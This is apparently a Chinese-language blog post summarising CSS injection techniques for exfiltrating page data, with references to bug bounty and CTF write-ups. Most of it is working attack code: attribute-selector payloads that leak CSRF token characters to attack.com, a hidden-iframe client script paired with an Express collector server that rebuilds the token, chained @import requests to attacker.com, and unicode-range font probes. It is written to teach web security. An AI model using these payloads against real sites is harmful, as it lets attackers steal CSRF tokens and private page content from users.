CSS injection 总结

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现代浏览器都已不允许在CSS中执行JavaScript了，以前的CSS注入可以利用JavaScript协议在url()、expression()中执行Javascript代码从而实现XSS。但是目前CSS注入在窃取数据方面仍然是非常有用的，下面分别来分析一下。

CSS 注入 窃取标签属性数据

CSS中可以使用属性选择器，根据不同的属性选择标签。比如下面CSS选择含有a属性且其值为abc的p标签。

<style>p[a="abc"]{ color: red;}</style>
 <p a="abc">hello world</p>

属性选择器还可以匹配值的一些特性，比如以XXX开头、以XXX结尾等。

利用上面的性质我们可以用来窃取页面标签属性中的数据。比如下面当csrfToken以某个字母开头时，就可以通过url()通知攻击者，从而窃取csrfToken的第一位的值。

<style>
input[value^="0"] {
    background: url(http://attack.com/0);
}
input[value^="1"] {
    background: url(http://attack.com/1);
}
input[value^="2"] {
    background: url(http://attack.com/2);
}
...
input[value^="Y"] {
    background: url(http://attack.com/Y);
}
input[value^="Z"] {
    background: url(http://attack.com/Z);
}
</style>

<input  name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

第一位是Z，接着窃取第二位

<style>
input[value^="Z0"] {
    background: url(http://attack.com/0);
}
...
input[value^="ZZ"] {
    background: url(http://attack.com/Z);
}
</style>
<input  name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

解决hidden

当然还有个问题， 当标签type=hidden 时浏览器是不允许我们设置background的，这样就无法触发url()请求服务器。

解决方法之一是利用~CSS的兄弟选择器，选择为后续所有兄弟节点设置background。

input[value^="Z"] ~*{
    background: url(http://attack.com/Z);
}

批量实现

当然，如果位数比较短且可能性比较少我们可以将其所有都列出来，但是通常都太多了，所以我们需要利用技巧批量得到。

假设目标存在css注入的网站为如下， 目标是窃取input标签中的csrfToken值。

<!DOCTYPE html>
<html>
<head>
    <title>CSS injection</title>
</head>
<body>
<input type=hidden name="csrfToken" value=<?=md5(date("h"))?>>
<input type="" name="">
<style><?php echo $_GET['css']?></style>
</body>
</html>

有iframe

当存在CSS注入的网站响应头未被X-Frame-Options保护时， 我们可以创建一个恶意的页面，利用js创建iframe包含该漏洞网站，利用css注入获得一位csrfToken值后通过url()提交给服务器，服务器指示前端js继续创建iframe窃取第二位值，继续上面的操作，直到全部读取完。当然这要求每次请求漏洞网站内容都不会变。

这里存在一个问题，服务器如何指示前端js构造css，就像我们上面举得例子窃取到第一位为Z， 那么第二位的payload应该是Z开头的。

下面的payload 来自这里 https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d

它的思路是前端js使用setTimeout定时请求服务器，服务器将css注入得到的token返回。

<html>
    <style>
        #frames {
            visibility: hidden;
        }
    </style>
    <body>
        <div id="current"></div>
        <div id="time_to_next"></div>
        <div id="frames"></div>
    </body>
    <script>
        vuln_url = 'http://127.0.0.1:8084/vuln.php?css=';
        server_receive_token_url = 'http://127.0.0.1:8083/receive/';
        server_return_token_url = 'http://127.0.0.1:8083/return';

        chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
        known = "";

        function test_char(known, chars) {
            // Remove all the frames
            document.getElementById("frames").innerHTML = "";

            // Append the chars with the known chars
            css = build_css(chars.map(v => known + v));

            // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
            frame = document.createElement("iframe");
            frame.src = vuln_url + css;
            frame.style="visibility: hidden;"; //gotta be sneaky sneaky like
            document.getElementById("frames").appendChild(frame);

            // in 1 seconds, after the iframe loads, check to see if we got a response yet
            setTimeout(function() {
                var oReq = new XMLHttpRequest();
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", server_return_token_url);
                oReq.send();
            }, 1000);
        }

        function build_css(values) {
            css_payload = "";
            for(var value in values) {
                css_payload += "input[value^=\""
                    + values[value]
                    + "\"]~*{background-image:url(" 
                    + server_receive_token_url
                    + values[value]
                    + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
            }
            return css_payload;
        }

        function known_listener () {
            document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
            if(known != this.responseText) {
                known = this.responseText;
                test_char(known, chars);
            } else {
                known = this.responseText;
                alert("CSRF token is: " + known);
            }
        }

        test_char("", chars);
    </script>
</html>

服务器代码是我配合它的payload写得。

var express = require('express');
var app = express();
var path = require('path');
var token = "";

app.get('/receive/:token', function(req, res) {
    token = req.params.token;
    console.log(token)
    res.send('ok');
});

app.get('/return', function(req, res){
    res.send(token);
});

app.get('/client.html', function(req, res){
    res.sendFile(path.join(__dirname, 'client.html'));
})


var server = app.listen(8083, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

还有师傅通过服务器将token写入到cookie中， 定时查询cookie是否改变来实现的。

还发现有师傅用websocket实现更优雅一些。 https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa

无 iframe

https://github.com/dxa4481/cssInjection 这里介绍了一种无iframe注入的方法。

原理也很简单，既然不能用iframe引入漏洞页面，那么我们可以通过window.open不断开启一个新的窗口，也就可以完成上述类似的效果。当然这种方法得劫持用户的点击行为，否则浏览器会禁止开启新窗口。

而且这篇文章还提出了无后台服务器的方案，利用service workers 拦截客户端请求将获取到的token值同时存在本地localstorage中。

@import

利用@import在chrome中的特性，https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b 这篇文章提出的这种方法。这种方法有种好处就是不会刷新页面就可以拿到全部token而且不需要iframe，但坏处就是只能用在chrome中，而且根据它的特性必须在样式标签头部有注入才行。

除了常见的<link>标签引入外部样式，css还可以通过@import。

@import url(http://style.com/css.css);

但是@import必须在样式表头部最先声明，并且分号是必须的。@import引入的样式表会直接替换对应的内联样式。

chrome在实现上述效果时，在每次@import外部样式表返回后都重新计算了一遍页面的其他的样式表，我们可以利用这个特性嵌套@import 使用一个请求便获取到整个token

这是他文章中的一个图，很形象。

这图假定要窃取的数据长度为3，第一次注入的css内容为@import url(http://attacker.com/staging);，它返回了

@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);

这时页面又要获取@import url(http://attacker.com/polling?len=0);样式表，而它返回的是窃取token的payload。

当将已窃取数据发送到服务器后，@import url(http://attacker.com/polling?len=1);才会响应。响应的是窃取的第二位数据的payload....

而且那篇文章还开源了一个工具利用这个漏洞，用起来非常简单。

https://github.com/d0nutptr/sic

窃取标签content数据

窃取标签content数据相对来说就麻烦很多，去年xctf final就有一道题。

利用 unicode-range 猜测

根据https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html这位师傅的思路，可以通过指定@font-face的字体描述unicode-range，当存在某个字符时就通知服务器。

<style>
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?A); /* fetched */
 unicode-range:U+0041;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?B); /* fetched too */
 unicode-range:U+0042;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example.com/?C); /* not fetched */
 unicode-range:U+0043;
}
#sensitive-information{
 font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

当然这只能知道含有那些字符，而且当字符一多就没有意义了。不过这也是个不错的思路，在某些特定情况下可能有用。

利用连字(Ligature)

去年xctf师傅们的题解用的就是这个方法。

连字简而言之就是几个字符的合体字，更多自行百度。在这里我们可以自己创建一个字体，其中所有字符宽度设为0，将flag这个连字的宽度设置非常大，此时指定标签content中如果出现了flag字符串就会因为宽度的原因出现滚动条，检测出现滚动条时用url()请求服务器。

这样我们就可以不断向后猜测了，详细的创建字体、payload这里已经提供了。

参考

https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d

https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b

https://github.com/dxa4481/cssInjection

https://xz.aliyun.com/t/6655#toc-5

https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/

https://x-c3ll.github.io/posts/CSS-Injection-Primitives/

https://www.smi1e.top/%e9%80%9a%e8%bf%87css%e6%b3%a8%e5%85%a5%e7%aa%83%e5%8f%96html%e4%b8%ad%e7%9a%84%e6%95%b0%e6%8d%ae/

https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html

https://www.w3school.com.cn/css/css_selector_attribute.asp

https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/

https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-and-defense